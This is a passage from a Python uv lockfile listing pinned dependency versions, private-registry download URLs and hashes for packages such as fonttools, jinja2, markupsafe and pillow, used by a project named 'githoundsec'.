248 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 249 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/executing/2.2/executing-2.2.0.tar.gz", hash = "sha256:5d108c028108fe2551d1a7b2e8b713341e2cb4fc0aa7dcf966fa4327a5226755" } 250 | wheels = [ 251 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/executing/2.2/executing-2.2.0-py2.py3-none-any.whl", hash = "sha256:11387150cad388d62750327a53d3339fad4888b39a6fe233c3afbb54ecffd3aa" }, 252 | ] 253 | 254 | [[package]] 255 | name = "fonttools" 256 | version = "4.57.0" 257 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 258 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0.tar.gz", hash = "sha256:727ece10e065be2f9dd239d15dd5d60a66e17eac11aea47d447f9f03fdbc42de" } 259 | wheels = [ 260 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:889e45e976c74abc7256d3064aa7c1295aa283c6bb19810b9f8b604dfe5c7f31" }, 261 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0425c2e052a5f1516c94e5855dbda706ae5a768631e9fcc34e57d074d1b65b92" }, 262 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44c26a311be2ac130f40a96769264809d3b0cb297518669db437d1cc82974888" }, 263 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84c41ba992df5b8d680b89fd84c6a1f2aca2b9f1ae8a67400c8930cd4ea115f6" }, 264 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ea1e9e43ca56b0c12440a7c689b1350066595bebcaa83baad05b8b2675129d98" }, 265 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:84fd56c78d431606332a0627c16e2a63d243d0d8b05521257d77c6529abe14d8" }, 266 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-win32.whl", hash = "sha256:f4376819c1c778d59e0a31db5dc6ede854e9edf28bbfa5b756604727f7f800ac" }, 267 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp312-cp312-win_amd64.whl", hash = "sha256:57e30241524879ea10cdf79c737037221f77cc126a8cdc8ff2c94d4a522504b9" }, 268 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:408ce299696012d503b714778d89aa476f032414ae57e57b42e4b92363e0b8ef" }, 269 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bbceffc80aa02d9e8b99f2a7491ed8c4a783b2fc4020119dc405ca14fb5c758c" }, 270 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f022601f3ee9e1f6658ed6d184ce27fa5216cee5b82d279e0f0bde5deebece72" }, 271 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4dea5893b58d4637ffa925536462ba626f8a1b9ffbe2f5c272cdf2c6ebadb817" }, 272 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:dff02c5c8423a657c550b48231d0a48d7e2b2e131088e55983cfe74ccc2c7cc9" }, 273 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:767604f244dc17c68d3e2dbf98e038d11a18abc078f2d0f84b6c24571d9c0b13" }, 274 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-win32.whl", hash = "sha256:8e2e12d0d862f43d51e5afb8b9751c77e6bec7d2dc00aad80641364e9df5b199" }, 275 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-cp313-cp313-win_amd64.whl", hash = "sha256:f1d6bc9c23356908db712d282acb3eebd4ae5ec6d8b696aa40342b1d84f8e9e3" }, 276 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/fonttools/4.57/fonttools-4.57.0-py3-none-any.whl", hash = "sha256:3122c604a675513c68bd24c6a8f9091f1c2376d18e8f5fe5a101746c81b3e98f" }, 277 | ] 278 | 279 | [package.optional-dependencies] 280 | woff = [ 281 | { name = "brotli", marker = "platform_python_implementation == 'CPython'" }, 282 | { name = "brotlicffi", marker = "platform_python_implementation != 'CPython'" }, 283 | { name = "zopfli" }, 284 | ] 285 | 286 | [[package]] 287 | name = "githoundsec" 288 | version = "0.1.0" 289 | source = { virtual = "." } 290 | dependencies = [ 291 | { name = "customtkinter" }, 292 | { name = "jinja2" }, 293 | { name = "pygithub" }, 294 | { name = "pyvis" }, 295 | { name = "pyyaml" }, 296 | { name = "requests" }, 297 | { name = "weasyprint" }, 298 | ] 299 | 300 | [package.metadata] 301 | requires-dist = [ 302 | { name = "customtkinter", specifier = ">=5.2.2" }, 303 | { name = "jinja2", specifier = ">=3.1.6" }, 304 | { name = "pygithub", specifier = ">=2.6.1" }, 305 | { name = "pyvis", specifier = ">=0.3.2" }, 306 | { name = "pyyaml", specifier = ">=6.0.2" }, 307 | { name = "requests", specifier = ">=2.32.3" }, 308 | { name = "weasyprint", specifier = ">=65.1" }, 309 | ] 310 | 311 | [[package]] 312 | name = "idna" 313 | version = "3.10" 314 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 315 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/idna/3.10/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9" } 316 | wheels = [ 317 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/idna/3.10/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3" }, 318 | ] 319 | 320 | [[package]] 321 | name = "ipython" 322 | version = "9.2.0" 323 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 324 | dependencies = [ 325 | { name = "colorama", marker = "sys_platform == 'win32'" }, 326 | { name = "decorator" }, 327 | { name = "ipython-pygments-lexers" }, 328 | { name = "jedi" }, 329 | { name = "matplotlib-inline" }, 330 | { name = "pexpect", marker = "sys_platform != 'emscripten' and sys_platform != 'win32'" }, 331 | { name = "prompt-toolkit" }, 332 | { name = "pygments" }, 333 | { name = "stack-data" }, 334 | { name = "traitlets" }, 335 | ] 336 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ipython/9.2/ipython-9.2.0.tar.gz", hash = "sha256:62a9373dbc12f28f9feaf4700d052195bf89806279fc8ca11f3f54017d04751b" } 337 | wheels = [ 338 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ipython/9.2/ipython-9.2.0-py3-none-any.whl", hash = "sha256:fef5e33c4a1ae0759e0bba5917c9db4eb8c53fee917b6a526bd973e1ca5159f6" }, 339 | ] 340 | 341 | [[package]] 342 | name = "ipython-pygments-lexers" 343 | version = "1.1.1" 344 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 345 | dependencies = [ 346 | { name = "pygments" }, 347 | ] 348 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ipython-pygments-lexers/1.1.1/ipython_pygments_lexers-1.1.1.tar.gz", hash = "sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81" } 349 | wheels = [ 350 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ipython-pygments-lexers/1.1.1/ipython_pygments_lexers-1.1.1-py3-none-any.whl", hash = "sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c" }, 351 | ] 352 | 353 | [[package]] 354 | name = "jedi" 355 | version = "0.19.2" 356 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 357 | dependencies = [ 358 | { name = "parso" }, 359 | ] 360 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jedi/0.19.2/jedi-0.19.2.tar.gz", hash = "sha256:4770dc3de41bde3966b02eb84fbcf557fb33cce26ad23da12c742fb50ecb11f0" } 361 | wheels = [ 362 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jedi/0.19.2/jedi-0.19.2-py2.py3-none-any.whl", hash = "sha256:a8ef22bde8490f57fe5c7681a3c83cb58874daf72b4784de3cce5b6ef6edb5b9" }, 363 | ] 364 | 365 | [[package]] 366 | name = "jinja2" 367 | version = "3.1.6" 368 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 369 | dependencies = [ 370 | { name = "markupsafe" }, 371 | ] 372 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jinja2/3.1.6/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d" } 373 | wheels = [ 374 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jinja2/3.1.6/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67" }, 375 | ] 376 | 377 | [[package]] 378 | name = "jsonpickle" 379 | version = "4.0.5" 380 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 381 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jsonpickle/4.0.5/jsonpickle-4.0.5.tar.gz", hash = "sha256:f299818b39367c361b3f26bdba827d4249ab5d383cd93144d0f94b5417aacb35" } 382 | wheels = [ 383 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/jsonpickle/4.0.5/jsonpickle-4.0.5-py3-none-any.whl", hash = "sha256:b4ac7d0a75ddcdfd93445737f1d36ff28768690d43e54bf5d0ddb1d915e580df" }, 384 | ] 385 | 386 | [[package]] 387 | name = "markupsafe" 388 | version = "3.0.2" 389 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 390 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0" } 391 | wheels = [ 392 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf" }, 393 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225" }, 394 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028" }, 395 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8" }, 396 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c" }, 397 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557" }, 398 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22" }, 399 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48" }, 400 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30" }, 401 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87" }, 402 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd" }, 403 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430" }, 404 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094" }, 405 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396" }, 406 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79" }, 407 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a" }, 408 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca" }, 409 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c" }, 410 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1" }, 411 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f" }, 412 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c" }, 413 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb" }, 414 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c" }, 415 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d" }, 416 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe" }, 417 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5" }, 418 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a" }, 419 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9" }, 420 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6" }, 421 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/markupsafe/3.0.2/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f" }, 422 | ] 423 | 424 | [[package]] 425 | name = "matplotlib-inline" 426 | version = "0.1.7" 427 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 428 | dependencies = [ 429 | { name = "traitlets" }, 430 | ] 431 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/matplotlib-inline/0.1.7/matplotlib_inline-0.1.7.tar.gz", hash = "sha256:8423b23ec666be3d16e16b60bdd8ac4e86e840ebd1dd11a30b9f117f2fa0ab90" } 432 | wheels = [ 433 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/matplotlib-inline/0.1.7/matplotlib_inline-0.1.7-py3-none-any.whl", hash = "sha256:df192d39a4ff8f21b1895d72e6a13f5fcc5099f00fa84384e0ea28c2cc0653ca" }, 434 | ] 435 | 436 | [[package]] 437 | name = "networkx" 438 | version = "3.4.2" 439 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 440 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/networkx/3.4.2/networkx-3.4.2.tar.gz", hash = "sha256:307c3669428c5362aab27c8a1260aa8f47c4e91d3891f48be0141738d8d053e1" } 441 | wheels = [ 442 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/networkx/3.4.2/networkx-3.4.2-py3-none-any.whl", hash = "sha256:df5d4365b724cf81b8c6a7312509d0c22386097011ad1abe274afd5e9d3bbc5f" }, 443 | ] 444 | 445 | [[package]] 446 | name = "packaging" 447 | version = "25.0" 448 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 449 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/packaging/25/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f" } 450 | wheels = [ 451 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/packaging/25/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484" }, 452 | ] 453 | 454 | [[package]] 455 | name = "parso" 456 | version = "0.8.4" 457 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 458 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/parso/0.8.4/parso-0.8.4.tar.gz", hash = "sha256:eb3a7b58240fb99099a345571deecc0f9540ea5f4dd2fe14c2a99d6b281ab92d" } 459 | wheels = [ 460 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/parso/0.8.4/parso-0.8.4-py2.py3-none-any.whl", hash = "sha256:a418670a20291dacd2dddc80c377c5c3791378ee1e8d12bffc35420643d43f18" }, 461 | ] 462 | 463 | [[package]] 464 | name = "pexpect" 465 | version = "4.9.0" 466 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 467 | dependencies = [ 468 | { name = "ptyprocess" }, 469 | ] 470 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pexpect/4.9/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f" } 471 | wheels = [ 472 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pexpect/4.9/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523" }, 473 | ] 474 | 475 | [[package]] 476 | name = "pillow" 477 | version = "11.2.1" 478 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 479 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1.tar.gz", hash = "sha256:a64dd61998416367b7ef979b73d3a85853ba9bec4c2925f74e588879a58716b6" } 480 | wheels = [ 481 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:78afba22027b4accef10dbd5eed84425930ba41b3ea0a86fa8d20baaf19d807f" }, 482 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:78092232a4ab376a35d68c4e6d5e00dfd73454bd12b230420025fbe178ee3b0b" }, 483 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25a5f306095c6780c52e6bbb6109624b95c5b18e40aab1c3041da3e9e0cd3e2d" }, 484 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c7b29dbd4281923a2bfe562acb734cee96bbb129e96e6972d315ed9f232bef4" }, 485 | { url = 